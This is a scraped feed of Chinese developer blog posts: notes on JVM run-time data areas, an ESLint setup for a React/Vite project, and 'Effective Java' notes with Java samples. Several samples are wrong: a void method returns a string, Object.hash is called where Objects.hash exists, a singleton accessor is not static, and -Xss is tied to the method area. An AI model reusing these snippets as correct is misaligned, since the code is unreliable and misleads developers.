传统 webpack 构建是重新构建 ModuleGraph,Rspack 不会完全重构建,比如在第 N 次的 compliation 会在 change phase(会映射到多个 module),将多个 module 重新 rebuild 一遍,patch 到 ModuleGraph 上就可以了,最后完成 seal phase 和 emit assets。整体的 ModuleGraph 是可以被下一次 compliation 继续复用

社区和展望

Rspack stack

image.png

根据官方成员描述,未来还会有RsStack test框架

image.png

「❤️ 感谢大家」

如果你觉得这篇内容对你挺有有帮助的话: 点赞支持下吧,让更多的人也能看到这篇内容(收藏不点赞,都是耍流氓 -_-)欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。觉得不错的话,也可以阅读 Sunny 近期梳理的文章(感谢掘友的鼓励与支持 🌹🌹🌹):

我的博客:

Github:https://github.com/sunny-117/

前端八股文题库:sunny-117.github.io/blog/

前端面试手写题库:github.com/Sunny-117/j…

手写前端库源码教程:sunny-117.github.io/mini-anythi…

热门文章

专栏

by sunny_ at January 19, 2025 09:43 AM

juejin article

【阅读笔记】Java SE 规范之虚拟机

一个看别人文章看久了依然什么都记不住的人决定自己看官方文档(意外的效果还不错


文档地址: Java SE 23 规范

由于中英文阅读习惯差异,本文会间歇以行内代码的形式插入原文句子,并且为防止断句错误,会使用 “” 来标记英文原文中作为同一个主体的部分。

本文主要记录第二章《The Structure of the Java Virtual Machine(Java虚拟机的结构)》的 2.5 小节 Run-Time Data Areas 运行时数据区的阅读理解。


关键章节记录【摘自第一章 1.2 虚拟机】:

Chapter 2 :概述 Java 虚拟机架构

Chapter 3:介绍“用 Java 编写的代码如何编译到 Java 虚拟机的指令集中”

Chapter 4:指定类文件格式class file format。二进制,与硬件操作系统无关,表示已编译的类和接口

Chapter 5:指定虚拟机启动start-up,及类与接口的加载loading、链接linking、初始化initialization

Chapter 6:指定虚拟机的指令集instruction set of the JVM,按操作码助记符的字母顺序呈现指令instructions in alphabetical order of opcode mnemonics

Chapter 7:前述助记符表

Chapter 17:线程和锁。专家组制定的 Java 内存模型和线程规范。

在第二版 Java 虚拟机规范的 Chapter 8,介绍了虚拟机线程与共享主内存的低级交互操作low-levwl actions that explained the interaction of JVM threads with a shared main memory

Chapter 2:Java 虚拟机的结构

链接:docs.oracle.com/javase/spec…

2.1 到 2.4 都是基础的类和数据类型的描述,已经相对熟悉,此处略过。

2.5 开始是 Run-Time Data Areas 运行时数据区,本文主要记录对象。

2.5 Run-Time Areas 运行时数据区

定义:程序执行期间各种运行时数据区域be used during execution of a program

有些数据区域是在虚拟机启动时创建,并且在虚拟机终止时销毁。

其他数据区域按线程显示per thread

线程数据区per thread在线程thread创建时创建,在线程终止时销毁

总结为线程绑定区(

2.5.1 The pc Register PC 寄存器(全中文:程序计数器寄存器)

总结为存放下一步方法指令的地方,当方法是本地 native 的,则寄存内容是 undefined。

Java 虚拟机支持多线程同时运行support many threads of execution at once

每个 Java 虚拟机线程都有自己的 pc (程序计数器program counter)寄存器register

在任何时候,每个虚拟机线程都在执行单个方法的代码the code of a single method,即该线程的当前方法current method

如果该方法不是本地native方法,则 pc 寄存器包含当前正在执行的 Java 虚拟机指令的地址

如果线程当前执行的方法时本地native方法,则 pc 寄存器的值是 undefined

虚拟机的 pc 寄存器足够宽wide,可以在特定平台保存returnAddress或本地指针native pointer

2.5.2 JVM Stacks 虚拟机栈

每个虚拟机线程都有一个私有的虚拟机栈,与线程同时创建。该栈存储“帧”。

Java 虚拟机的栈类似 C 等传统语言的堆栈:保存局部变量和部分结果,并在方法调用和返回中发挥作用。

虚拟机栈除了推送push和弹出pop外从不直接操作,但可能会分配帧。虚拟机栈的内存不必是连续的。

SE23 版本的规范既允许虚拟机栈具有固定大小,也允许根据计算之需要动态扩展与收缩。如果其大小恒定,则可以再创建该栈时单独选择每个虚拟机栈的大小。

可控制初始栈大小,可控制最大值和最小值。

应该对应的就是 JVM 配置里那些 Max/Min 了

常见的相关异常:

StackOverflowError:线程中计算所需的堆栈大于被允许的栈值

OutOfMemoryError:设置了动态扩展栈但服务器已经没有足够的内存、新线程还没创建就死于内存不足

2.5.3 Heap 堆

虚拟机的所有线程共享一个堆has a heap that is shared among all JVM threads

堆时运行时数据区,从中分配所有类实例和数组的内存。

堆在虚拟机启动时创建,对象的堆存储由垃圾回收器(GC)回收原文是“自动存储管理系统”,对象永远不会显式解除分配。虚拟机不假定特定类型的 GC,且可以根据实现者的系统要求选择存储管理技术。

堆既可以是固定大小,也可以根据计算需要扩展。如果不需要更大的堆,也可以收缩堆。堆内存不需要连续。

常见的相关异常:

OutOfMemoryError:计算所需的堆大于自动存储管理系统所能提供的堆

2.5.4 Method Area 方法区

方法区被所有 JVM 线程共享。

其类似于常规语言的编译代码的存储区域,或类似于操作系统进程中的“文本”段The method area is analogous to the storage area for compiled code of a conventional language or analogous to the "text" segment in an operating system process

存储每个类的结构per-class structures,比如运行时常量池run-time constant pool、字段field和方法数据method data

同时存储“方法和构造函数”的代码code for methods and constructors,包括“类和接口的初始化以及实例初始化”中使用的特殊方法including the special methods useds in class and interface initialization and in instance initialization

方法区是在虚拟机启动时创建的,逻辑上是堆的一部分,可以选择不对其垃圾回收或压缩Although the method area is logically part of the heap, simple implementations may choose not to either garbage collect or compact it

simple implementations 在此应当理解为对方法区的实现,也就是从用户开发实现的角度,可以令其不被回收或压缩。

SE23 的规范既不强制要求方法区域的位置,也不规定“管理已编译代码”的策略。

与前面的堆和栈一样,方法区既可以固定大小,也可以按需动态扩展;如无需更大,则可以缩小,且不需要是连续的。参数是-Xss

常见的相关异常:

OutOfMemoryError:方法区中的内存无法满足分配请求时

2.5.5 Run-Time Constant Pool 运行时常量池

是每个类/接口运行时于constant_pool表中展现的形式,它们存在于类文件中。

包含多种变量,如编译时已知的数字文本numeric literals known at compile-time、必须在运行时解析的方法和字段引用method and field references that must be resolved at run-time

运行时常量池的功能类似于传统编程语言的符号表symbol table,不过包含的数据范围比典型的符号表更广。

每个运行时常量池都是从虚拟机的方法区分配的,类/接口的运行时常量池是在 Java 虚拟机创建类或接口时构造。

常见的相关异常:

OutOfMemoryError:创建类或接口时,当运行时常量池的构造所需内存多于虚拟机的方法区可用内存

2.5.6 Native Method Stacks 本地方法栈

可以使用常规栈conventional stacks(俗称“C 栈”C stacks)来支持本地方法(用 Java 之外的语言编写的方法)。

下面两句英文原文捋不太清楚,扔给 AI 才知道该怎么断句。。

Native method stacks may also be used by the implementation of an interpreter for the Java Virtual Machine's instruction set in a language such as C.

那些使用 C 或其他语言来实现 JVM 指令集的解释器,会用到本地方法栈。

Java Virtual Machine implementations that cannot load native methods and that do not themselves rely on conventional stacks need not supply native method stacks.

如果虚拟机的实现不支持加载本地方法,且其内部机制不依赖于传统的栈结构,那么这样的 JVM 实现就不需要提供本地方法栈。

这部分无论英文原文,还是译文,都提到了 supply native method stacks 提供本地方法栈,第一眼下意识会以为需要在代码里声明什么数据块。但其实这些“提供”行为,都是在 JVM 层面完成的,作为开发者,能做的其实是调用本地方法,本地方法可以自定义,只要加上前缀private native int fun1()

参考链接:juejin.cn/post/707234…

本地方法栈也和前面的方法区一样,可以设置其大小,参数也是-Xss

常见的相关异常:

StackOverflowError:计算所需的本地方法栈大于允许的栈

OutOfMemoryError:动态扩展本地方法栈但无足够内存可用,或已无可供新建线程的内存

总结

相关异常汇总

  1. StackOverflowError:虚拟机栈、本地方法栈
  2. OutOfMemoryError:虚拟机栈、本地方法栈、堆、方法区、运行时常量池

配置实例:

假设一个Java应用MyApp.jar,希望设置元空间初始大小为256MB,最大大小为1GB,每个线程的堆栈大小为512KB:

java -XX:MetaspaceSize=256m -XX:MaxMetaspaceSize=1g -Xms512m -Xmx1024m -Xss512k -jar MyApp.jar

各个参数与Java虚拟机(JVM)的不同内存区域的关系如下:

-XX:MetaspaceSize=256m

关联区域:方法区(在JDK 8及以后为元空间MetaSpace)。

说明:此参数设置元空间的初始大小。元空间是方法区在JDK 8及以后版本的实现,用于存储类加载信息、常量、静态变量、即时编译器编译后的代码等数据。当元空间的使用量达到这个初始大小时,可能会触发垃圾收集(GC)以卸载不再需要的类并释放空间。

-XX:MaxMetaspaceSize=1g

关联区域:方法区(在JDK 8及以后为元空间MetaSpace)。

说明:此参数设置元空间的最大可分配空间。当元空间的使用量超过此限制时,JVM将抛出OutOfMemoryError: Metaspace异常。这个参数有助于防止因为类加载信息过多而导致的内存溢出。

-Xss512k

关联区域:虚拟机栈和本地方法栈。

说明:此参数设置每个线程的栈大小(包括Java虚拟机栈和本地方法栈)。栈空间主要用于存储方法调用和本地变量。如果栈空间过小,可能导致栈溢出错误(StackOverflowError);如果栈空间过大,会占用大量的内存资源,导致系统性能下降。因此,合理设置栈大小可以避免栈溢出错误和节约内存资源。

-Xms512m

关联区域:堆

说明:初始堆大小。设置JVM初始堆内存为512MB。这个参数指定了JVM启动时分配的初始堆内存大小。

-Xmx1024m

关联区域:堆

说明:最大堆大小。设置JVM最大堆内存为1024MB(即1GB)。这个参数指定了JVM在运行过程中可以分配的最大堆内存大小。

运行时常量池: 是方法区的一部分,用于存储编译生成的各种字面量和符号引用。在类加载后,这些常量会进入方法区的运行时常量池中。虽然上述参数配置中没有直接设置运行时常量池的大小,但元空间的大小(通过-XX:MetaspaceSize和-XX:MaxMetaspaceSize设置)会间接影响运行时常量池的可用空间。

by 十连满潜 at January 19, 2025 09:41 AM

juejin frontend

GoWVP 全栈开发日记[4]:使用 ESlint 辅助开发

GoWVP 全栈开发日记[4]:使用 ESlint 辅助开发

介绍

GoWVP (Golang Web Video Platfrom) 是一个 Go 语言实现的,基于 GB28181-2022 标准实现的网络视频平台,负责实现核心信令与设备管理后台部分,支持海康、大华、宇视等品牌的IPC、NVR、DVR接入。支持国标级联,支持rtsp/rtmp等视频流转发到国标平台,支持rtsp/rtmp等推流转发到国标平台。

技术栈

Golang v1.23, Goweb v1.x, Gin v1.10, Gorm v1.25 ...

React 19, Vite 6.x, Typescript, React-Router v7, React-Query v5, shadcn/ui ...

ESLint

vite 更新到 v6.0.7 后,发现代码做出的修改,浏览器不会快速刷新。

提示了错误

hmr invalidate /app/routes/device/device.tsx Could not Fast Refresh. Learn more at https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-react#consistent-components-exports

为了使 React 刷新正常工作,您的文件应该只导出 React 组件。

我们可以使用 eslint 发现错误并获得更详细的警告。

安装 eslint

ESLint 是一种用于识别和报告 ECMAScript/JavaScript 代码问题的工具,其目标是使代码更加一致并避免错误。

ESLint 是完全可插入的。每个规则都是一个插件,可以在运行时添加更多规则。还可以添加社区插件、配置和解析器来扩展 ESLint 的功能。

在 vscode 扩展中搜索 eslint,选择第一个安装。 macbook 打开扩展的快捷键是 shift+command+x

image-20250119143211666

快捷键 f1 打开命令,输入 eslint,选择 create eslint configuration

image-20250119151205552

按照引导一步步设置即可,注意别全一路回车了。

image-20250119151357729

最终会在项目根目录,生成 eslint.config.js 文件。

默认生成的文件打开查看,会提示类型错误,可以无视错误,也可以指定类型为 tseslint.config,就不会报错了。

image-20250119161151394

image-20250119161438961

安装 eslint 插件: react-refresh

接下来安装 react-refresh,通过此 eslint 能够让我们发现 hmr invalidate 更多错误信息。

npm i -D eslint-plugin-react-refresh

eslint.config.js 文件增加

import reactRefresh from "eslint-plugin-react-refresh";

export default [
  /* Main config */
  reactRefresh.configs.vite,
];

最终的文件内容大概长这样:

import globals from "globals";
import pluginJs from "@eslint/js";
import tseslint from "typescript-eslint";
import pluginReact from "eslint-plugin-react";
import reactRefresh from "eslint-plugin-react-refresh";

export default tseslint.config(
  { files: ["**/*.{jsx,tsx}"] },
  { languageOptions: { globals: globals.browser } },
  pluginJs.configs.recommended,
  ...tseslint.configs.recommended,
  pluginReact.configs.flat.recommended,
  reactRefresh.configs.vite
);

解决 hmr invalidate 问题

打开 device.tsx ,eslint 提示出了问题,快速刷新仅在文件仅导出组件时有效。

这里的对象确实也不需要导出,删除 export,此时对文件修改,浏览器页面就实时更新啦。

image-20250119144121713

可以查看官方文档了解更多配置相关的说明,建议新手使用默认配置,先了解存在这些问题,再使用高级高能,自动格式化修复等等。

总结

"千淘万漉虽辛苦,吹尽狂沙始到金" ,解决问题要不急不躁,抽丝剥茧。

参考

eslint 官方文档

vscode eslint 扩展

eslint 配置说明 官方文档

by 来杯咖啡 at January 19, 2025 09:37 AM

juejin article

《Effective Java》——对所有对象都通用的方法

Chapter 3 Methods Common to All Objects

Item 10: Obey the general contract when overriding equals

重写equals() 方法时要遵守通用的约定。

Cases where avoid overriding euqals

当某个类的实例只与自己相等的时候,不要重写equals方法。例如下面的情况:

  • Each instance of the class is inherently unique. 每个实例本质上是独一无二的,例如Thread的实例。
  • There is no need for the class to provide a "logical equality" test. 某个类不需要提供【逻辑相等】的测试。
  • A superclass has already overridden equals, and the superclass behavior is appropriate for this class. 父类已经重写了equals方法,并且父类的行为与子类适配。
  • The class is private or package-private, and you are certian that its equals method will never be invoked. 类是私有的或者是包私有的,并且确定它的equals方法永远也不会被调用。

occasions where sholud to override equals

  • 某个类包含逻辑相等(logical equality)的概念,并且父类没有重写equals方法。例如,StringInteger等等。
  • 当值类(Value Class)使用了实例控制(Instance Control)来保证每个值仅有一个实例的时候,例如Enum枚举类,不需要重写equals方法

Propertis of equals method

equals方法的性质:

  • 自反性(Reflexive):对于非空的引用o,表达式o.equals(o)的值必须为true
  • 对称性(Symmetric): 对于非空的引用x | y,表达式x.equals(y)y.equals(x)的值相同
  • 传递性(Transitive): 对于非空引用x, y, z,如果x.equals(y) && y.equals(z),那么x.equals(z)
  • 一致性(Consistence): 对于任意的非空引用x, y,如果用于比较的equals的内容没有修改,那么无论经过多少次调用x.equals(y)返回值都应当保持不变
  • 非空性(Non-nullity): 所有的非空对象都不应该和null相等

无论一个类是否是可变的,都不应该写一个依赖于不可靠资源的equals方法。

Recipe for a high-quailty equals method

  1. Use the == operator to check if the argument is a reference to this object. 使用==运算符检查此参数是否为该对象的引用
  2. Use the instanceof operator to check if the argument has the correct type. 使用instanceof运算符检查参数是否是正确的类型。
  3. Cast the argument to the correct type. 将参数转换为正确的类型。
  4. For each "significant" field in the class, check if that field of the argument mathes the corresponding field of this object. 对于类中的每个重要字段 都要检查参数的字段和对象中相应的字段是否匹配。
  • 对于基本数据类型,除了double & float,使用==比较两个字段的值
  • 对于引用数据类型,使用equals()方法标胶
  • 对于double & float,使用Double.compare(double, double) or Float.compare(float, float)
  • 对于数组,将这些准则应用于数组中的每个元素。
  • 如果某些引用字段中合法含有null值,使用静态方法Objects.equals(o1, o2)
  1. First compare fields that are more likely to differ, less expensive to compare.比较的顺序会影响equals的性能,所以优先比较那些最可能不同或者比较代价很小的字段。
  2. 吾日三省吾身:这个equals方法具有对称性吗?具有传递性吗?具有一致性吗?
  3. Always override hashCode when you override equals. 重写equals方法之后,一定要重写hashCode方法
  4. Do not try be too clever. 不要让equals方法太聪明。
  5. Do not substitute another type for Object in the equals declaration. 在equals方法的声明中,不要将参数Object替换为其他类型的参数。

Item 11: Always override hashcode when you override equals

重写equals方法的时候,也要重写hashCode方法

The contract, adapted from the Object specification.

  • the hashCode method must consistently return the same value when it is invoked repeatedlly
  • the hashCode method must produce the same Integer result if two objects are equal accrodiang to the euqals method
  • If two object are unequal according to the equals method, it is not required that their hashcode method return the same value

write a good hash function

  • A good one tends to produce unequal hash codes to unequal instances
Approach I

steps to get a hash funciton

  1. 声明一个int类型的result
  2. 对于对象中的所有重要属性,一一遍历得到其哈希码
    1. 如果该属性是基本数据类型,使用Type.hashCode(T),其中T为基本类型的包装类
    2. 如果该字段是一个引用数据类型,并且引用对象递归调用equals来比较是否相同,则递归调用其hashCode方法。如果该引用为null,使用0值作为哈希值
    3. 如果字段是一个array,则递归计算其中每个元素的hashCode
  1. 将第二步计算得出的哈希码计算为:转存失败,建议直接上传图片文件
  2. 返回result

编写完哈希函数之后,一定要使用单元测试验证两个相等的对象是否相等。

更加优质的哈希函数可以参阅com.google.common.hash.Hashing[Guava]类。

Approach II

Object类中有一个静态方法hash,可以为任意数量的参数返回一个哈希码。在性能要求不是很高的情况下,可以说调用此函数来重写对象中的hashCode方法

@Override
public int hashCode() {
    return Object.hash(field1, field2, ...);
}
Approach III

如果一个类是不可变的, 并且其哈希码的计算复杂度比较高,可以设法使用懒加载的方式,在首次调用hashCode方法的时候,计算出哈希码,并缓存在对象中。

Some importance tips

  • Do not be tempted to exclude significant fields from the hash code computation to improve performance. 不要省略重要字段的哈希值计算。
  • Do not provide a detailed specification for the value returned by hashCode , so clients can not reasonably depend on it; this give you the flexibility to change it. 不要给hashCode提供具体的规范,应当保持hashCode方法的灵活性。

Item 12: Always override toString

始终重写toString方法

toString的约定规范为:

a concise but informative representation that is easy for a person to read.

  • 提供一个优秀的toString实现可以让你的类更加易于使用和调试。
  • the toString method should return all of the interesting information contained in the objejct.toString方法应该返回对象包含的所有感兴趣的信息。

决定是否为toString的返回值指定格式:

  • 好处
    • 可读性比较好,可以用于输出以及持久化数据对象
    • 编码的时候,可以在字符串与对象之间随意切换
  • 坏处
    • 丢失了灵活性,一旦未来想要重新修改格式,会破坏现有的数据和代码

在静态工具类、枚举类中重写toString是没有意义的,但是可以在抽象类中重写toString方法,子类可以共享父类的公共字符串。

abstract class Animal {
    private String name;

    public Animal(String name) {
        this.name = name;
    }

    // 抽象类中的抽象方法
    abstract void makeSound();

    // 重写toString方法
    @Override
    public String toString() {
        return "Animal{" +
               "name='" + name + ''' +
               ", sound='" + makeSound() + ''' +
               '}';
    }
}

class Dog extends Animal {
    public Dog(String name) {
        super(name);
    }

    @Override
    void makeSound() {
        return "Bark";
    }
}

Item 13 Override clone judiciously

谨慎重写clone方法

Cloneable接口的目的就是作为对象的一个mixin接口,标识该对象是允许克隆的。

实现Cloneable接口的类就是为了提供一个功能适当的公有clone方法。

一个对象的克隆(clone)应当满足如下的表达式:

  1. x.clone != x
  2. x.cone().getClass() == x.getClass()
  3. x.clone.equals(x)

实现对象拷贝的方式

Approach I Implement Cloneable interface and override clone method

所有实现了Cloneable接口的类都应该覆盖clone方法,并且是公有的方法,他的返回类型为类本身。

  1. 调用super.clone()方法
  2. 修正任何应该修正的域

Approach II-Provide a copy constructor or copy factory

public Yum(Yum yum) { ... } // Copy Constructor

public static Yum newInstance(Yum yum) { ... } // Copy static factory

优点

  • 不依赖域某种有风险的、语言之外的创建机制
  • 不需要强制存收文档规约
  • 不会和final类型的属性发生冲突
  • 不会抛出不必要的受检异常
  • 不需要进行强制类型转换
  • 可以接受接口类型的参数

建议

除了复制数组之外,其他的对象都建议使用拷贝构造器或者静态工厂方法完成对象的拷贝。

Item 14: Consider implementing Comparable

考虑实现Comparable接口

一个类实现了Comparable接口,就表明他的实例具有内在的排序关系。

实现Comparable接口的好处

  1. 集合中的实例可以方便地进行搜索、排序、计算
  2. 可以和泛型算法(generic algorithm)以及依赖于该接口的集合实现进行协作

需要遵循的规约

  1. 该对象大于、等于、小于指定对象的时候,分别返回一个正整数、零、负整数
  2. 指定对象的类型无法与该对象进行比较的时候,抛出ClassCastException异常
  3. 确保自反性、对称性和传递性

一些比较好的建议

  1. 建议(x.compareTo(y) == 0) == (x.equals(y))
  2. 对于基本数据类型的比较,使用包装类的Box.compare静态方法,避免出错
  3. 如果一个类中多个字段需要比较,需要从最重要的字段开始比较,直到某一项结果的值不为0

TIPS

1)通过Comparator构建CompareTo方法

可以在类中构建Comparator静态内部类,然后在CompareTo方法中调用静态方法,即可实现多个字段的比较,例如

// Comparable with comparator construction methods
private static final Comparator<PhoneNumber> COMPARATOR =
        comparingInt((PhoneNumber pn) -> pn.areaCode)
        .thenComparingInt(pn -> pn.prefix)
        .thenComparingInt(pn -> pn.lineNum);
public int compareTo(PhoneNumber pn) {
    return COMPARATOR.compare(this, pn);
}

(2)比较两个整数的大小的时候,不要直接相减,这会造成整数的溢出,应该用静态的compare方法

// Comparator based on static compare method
static Comparator<Object> hashCodeOrder = new Comparator<>() {
    public int compare(Object o1, Object o2) {
        return Integer.compare(o1.hashCode(), o2.hashCode());
    }
};

by 蛇皮划水怪 at January 19, 2025 09:34 AM

juejin backend

《Effective Java》——对象的创建与销毁

Chapter 1 Introduction

Some rules or principles

  • the user of a component shoud know about its behavior
  • code should be reused ranther than copied
  • the dependencies between components shold be kept to a minimum
  • errors should be detected as soon as possible after made [best time is at compile stage]

Chapter 2 Creating and Destroying Objects

Item 1: Consider static factory methods instead of constructors

静态工厂方法取代构造器。

Definiation

A class can provide a public static factory method, which is simply a static method that returns an instance of the class.

一个类可以提供一个返回其实例的静态工厂方法。

Advantages

1.Static factory methods have name: a static factory with a well-chosen name is eaiser to use and the resulting client code eaiser to read

2.Be not required to create a new object each time when they're invoked beacause of static. 静态工厂方法多次调用返回同一个对象的能力允许对实例对象创建的时间保持严格的控制,这样的类也称为实例控制(instance congtrol)。

3.Return an object of any subtype of their return type. 静态工厂方法可以返回 【返回类型】的任意子类型的对象。

4.The class of the returned object can vary from call to call as a function of the input parameters. 返回对象的类可以随着输入参数的变化而变化。

对于EnumSet类,其没有共有构造方法,只有静态工厂。如果元素的个数小于或等于64个,静态工厂返回一个RegularEnumSet实例,其为long类型;若元素大于64个,则返回一个JumboEnumSet实例,返回一个long类型的数组。

5.The class of the returned object need not exist when the class containing the method is written. 当包含此静态工厂的方法已经被编写的时候,静态工厂方法返回对象的类可以不存在。

Limitations

1.Classes without public or protected constructors cannot be subclassed. 没有共有或者受保护的构造其的类不能够被继承。

建议多用组合,少用继承。

2.Static factory methods are hard for programmers to find. 很难找到静态工厂方法。

由于缺少像接口一样的API文档,很难找到如何实例化一个提供静态工厂方法而非构造器的类。可以通过遵守通用的命名规约来减少这个问题。

Some common names for static factory methods:

  • from: 类型转换方法,接受一个其他类型的实例,返回当前类型的实例。

Date d = Date.from(instance);

  • of:将多个参数聚合在一起的方法
  • valueOf:可以替代offrom的更加详细的方法
  • instance | getInstance:返回一个由其参数描述的实例
  • create or newInstance:和上一个相似,但是保证返回的是两个不同的实例
  • getType:返回某个实例的类型
  • newType:和newInstance相似,但是如果用在不同的类中,则返回的是工厂方法返回对象的类型
  • typegetTypenewType更为简洁的替代

Summarization

静态工厂方法和公有构造方法都有他们自己的用处,要充分考虑他们的优劣情况。

Often static fatories are preferable, so avoid the reflex to provide public constructors without first considering static factories.

通常情况下静态工厂是更优的选择,避免在不先考虑静态工厂方法的情况下本能地提供共有构造器。


Item 2: Consider a builder when faced with many constructor parameters

遇到过多的构造器参数的时候,考虑使用builder

caseI-Nutrition Facts

食品包装上的营养成分表中,有许多营养成分。这些营养成分中大部分都是非零值,只有少部分是可选择的。如何为这样的类来编写构造方法?

Solution1: Telescoping constructor

使用可伸缩(telescoping constructor)构造方法模式,有一个完整的构造方法,其他的直接调用此构造方法。

public class NutritionFacts {
    private final int servingSize; // (mL) required
    private final int servings; // (per container) required
    private final int calories; // (per serving) optional
    private final int fat; // (g/serving) optional
    private final int sodium; // (mg/serving) optional
    private final int carbohydrate; // (g/serving) optional
    
    public NutritionFacts(int servingSize, int servings) {
        this(servingSize, servings, 0);
    }
    
    public NutritionFacts(int servingSize, int servings, int calories) {
        this(servingSize, servings, calories, 0);
    }
    public NutritionFacts(int servingSize, int servings, int calories, int fat) {
        this(servingSize, servings, calories, fat, 0);
    }
    public NutritionFacts(int servingSize, int servings, int calories, int fat, int sodium) {
        this(servingSize, servings, calories, fat, sodium, 0);
    }
    public NutritionFacts(int servingSize, int servings, int calories, int fat, int sodium, int carbohydrate) {
        this.servingSize = servingSize;
        this.servings = servings;
        this.calories = calories;
        this.fat = fat;
        this.sodium = sodium;
        this.carbohydrate = carbohydrate;
    }
}

思考: 这么写有什么缺点?

  • 当某个类的参数数量变得很大的时候,构造方法的数量会膨胀
  • 易读性比较差
  • 扩展性较低
Solution2: JavaBean Pattern
  • 只有一个无参构造器
  • 在外部使用setter()方法为属性赋值

思考:JavaBean 模式有什么缺点?

  • 将一条初始化语句拆分为数个赋值语句,处于线程不安全的环境中,会导致数据不一致的情况
  • 在对象手动赋值完成之前,可以锁住对象,防止在对象初始化之前被调用
Solution3: Builder Pattern
  • Instead of making the desired object directly, the client calls a constructor (or static factory) with all of the required parameters and gets a builder object.
  • Then the client calls setter-like methods on the builder object to set each optional parameter of interest.
  • Finally, the client calls a parameterless build method to generate the object, which is typically immutable.

Step1:客户端调用带有所需参数的构造器或者静态工厂方法获取一个builder对象

Step2:客户端调用builder对象中类似于setter的方法来设置每个可选参数

Step3:客户端调用一个无参build方法来生成一个不可变的对象。

public class NutritionFacts {
    private final int servingSize;
    private final int servings;
    private final int calories;
    private final int fat;
    private final int sodium;
    private final int carbohydrate;
    
    // 静态内部类 Builder
    public static class Builder {
        // Required parameters
        private final int servingSize;
        private final int servings;
        // Optional parameters - initialized to default values
        private int calories = 0;
        private int fat = 0;
        private int sodium = 0;
        private int carbohydrate = 0;
    
        public Builder(int servingSize, int servings) {
            this.servingSize = servingSize;
            this.servings = servings;
        }
        public Builder calories(int val) { calories = val; return this; }
        public Builder fat(int val) { fat = val; return this; }
        public Builder sodium(int val) { sodium = val; return this; }
        public Builder carbohydrate(int val) { carbohydrate = val; return this; }
        public NutritionFacts build() {
            return new NutritionFacts(this);
        }
    }

    // 私有构造方法
    private NutritionFacts(Builder builder) {
        servingSize = builder.servingSize;
        servings = builder.servings;
        calories = builder.calories;
        fat = builder.fat;
        sodium = builder.sodium;
        carbohydrate = builder.carbohydrate;
    }
}

静态内部类Buildersetter方法返回其本身,因此可以进行链式调用。即:

NutritionFacts cocaCola = new NutritionFacts.Builder(240, 8)
                        .calories(100).sodium(35).carbohydrate(27).build();

caseII: Pizza

Builder 模式非常适合继承结构。抽象的类有抽象的Builder,而具体的类有具体的Builder。

使用Builder模式的Pizza类为:

public abstract class Pizza {
    // 枚举类定义可能用到的材料
    public enum Topping {
        HAM, MUSHROOM, ONION, PEPPER, SAUSAGE
    }

    final Set<Topping> toppings;

    // 带有递归类型参数的泛型类型
    abstract static class Builder<T extends Builder<T>> {
        // 存储配料的集合
        EnumSet<Topping> toppings = EnumSet.noneOf(Topping.class);

        public T addTopping(Topping topping) {
            toppings.add(Objects.requireNonNull(topping));
            return self();
        }

        abstract Pizza build();

        // subclass must override this method to return "this"
        protected abstract T self();
    }

    Pizza(Builder<?> builder) {
        toppings = builder.toppings.clone();
    }


}

注意 Notice

  • Pizza.Builder是一个带有递归类型参数(Recursive type paramter)的泛型类型。与抽象的self方法在一起可以实现子类中的链式调用而不需要强制类型转换

NyPizza

public class NyPizza extends Pizza{

    // 枚举类型的 大小
    public enum Size {
        SMALL, MEDIUM, LARGE
    }
    private final Size size;

    public static class Builder extends Pizza.Builder<Builder> {
        private final Size size;

        public Builder(Size size) {
            this.size = Objects.requireNonNull(size);
        }

        // Notice: build方法应该返回具体的子类型,而非父类
        @Override
        public NyPizza build() {
            return new NyPizza(this);
        }

        @Override
        protected Builder self() {
            return this;
        }
    }

    private NyPizza(Builder builder) {
        super(builder);
        size = builder.size;
    }

    @Override
    public String toString() {
        return "NyPizza{" +
                "size=" + size +
                ", toppings=" + toppings +
                '}';
    }
}

注意 Notice

NyPizza中,build()方法返回NyPizza类型的对象。

协变返回类型:子类中方法的返回值类型(NyPizza) 为 父类方法返回类型(Pizza)的子类

public class PizzaClient {

    @Test
    public void testPizzaStore() {
        // 使用 Builder 创建一个 NyPizza 对象
        NyPizza nyPizza = new NyPizza.Builder(NyPizza.Size.SMALL)
                .addTopping(Pizza.Topping.PEPPER).addTopping(Pizza.Topping.HAM)
                .build();
        System.out.println(nyPizza);
    }
}

advantages

  • can have multiple varage parameters
  • quite flexible,
    • 单个Builder可以重复创建多个对象
    • Builder的参数可以在build()方法之前进行调整,以改变创建的对象
    • Builder可以在创建对象的时候,自动注入一些属性

disadvantages

  • must create a builder to create an object
  • more verbose than telescoping pattern, then consider use a builder when the class has more than 4 parameters

Item 3: Enforce the singleton property with a private constructor or an enum type

使用私有构造器或者枚举类来实现单例属性

常见的实现单例方式的方法为:私有构造器 + 静态公共方法。

Approach I Public Static Factory Method

public class SingletonI {

    private static final SingletonI INSTANCE = new SingletonI();
    
    private SingletonI () { }

    /**
     * static factory method
     * @return
     */
    public static SingletonI getInstance() {
        return INSTANCE;
    }
}

advantages:

  • 可以使用泛型工厂
  • 调用方法的引用可以作为一个supplier,例如SingletonI::getInstance

Approach II Public Static Property

public class SingletonII {
    
    public static final SingletonII INSTANCE = new SingletonII();
    
    private SingletonII() { }
}

advantages

  • 公共静态属性使用final修饰,引用不可变
  • 实现起来比较简单

Approach III Enum

public enum SingletonIII {
    INSTANCE;
}

Approach IV Static Inner-Class

public class SingletonIV {

    // private constructor
    private SingletonIV() { }

    private static class SingletonHolder {
        // define and initialize the outer instance in inner-class
        private static final SingletonIV INSTANCE = new SingletonIV();
    }
    
    public SingletonIV getInstance() {
        return SingletonHolder.INSTANCE;
    }
    
}

Approach V Double Check Lock

public class SingletonV {

    // private, static and volatile instance
    private static volatile SingletonV INSTANCE;

    // private constructor
    private SingletonV() { }

    // public static method to get instance
    public static SingletonV getInstance() {
        // check whether the instance is null
        if (INSTANCE == null) {
            // lock the Class by synchronize
            synchronized (SingletonV.class) {
                if (INSTANCE == null) {
                    INSTANCE = new SingletonV();
                }
            }
        }
        return INSTANCE;
    }
}

常见破坏单例的方式为:

  • 使用反射的方式,破坏私有构造器,来创建更多的对象。如果想要避免通过反射的攻击,可以修改构造器,在构造方法被第二次访问的时候,自动抛出异常。
  • 序列化与反序列化。为了防止单例类序列化和反序列化的过程中破坏单例,可以在单例类中添加readResolve()方法

Item 4: Enforce noninstantiablity with a private constructor

使用私有构造器来执行非实例化。

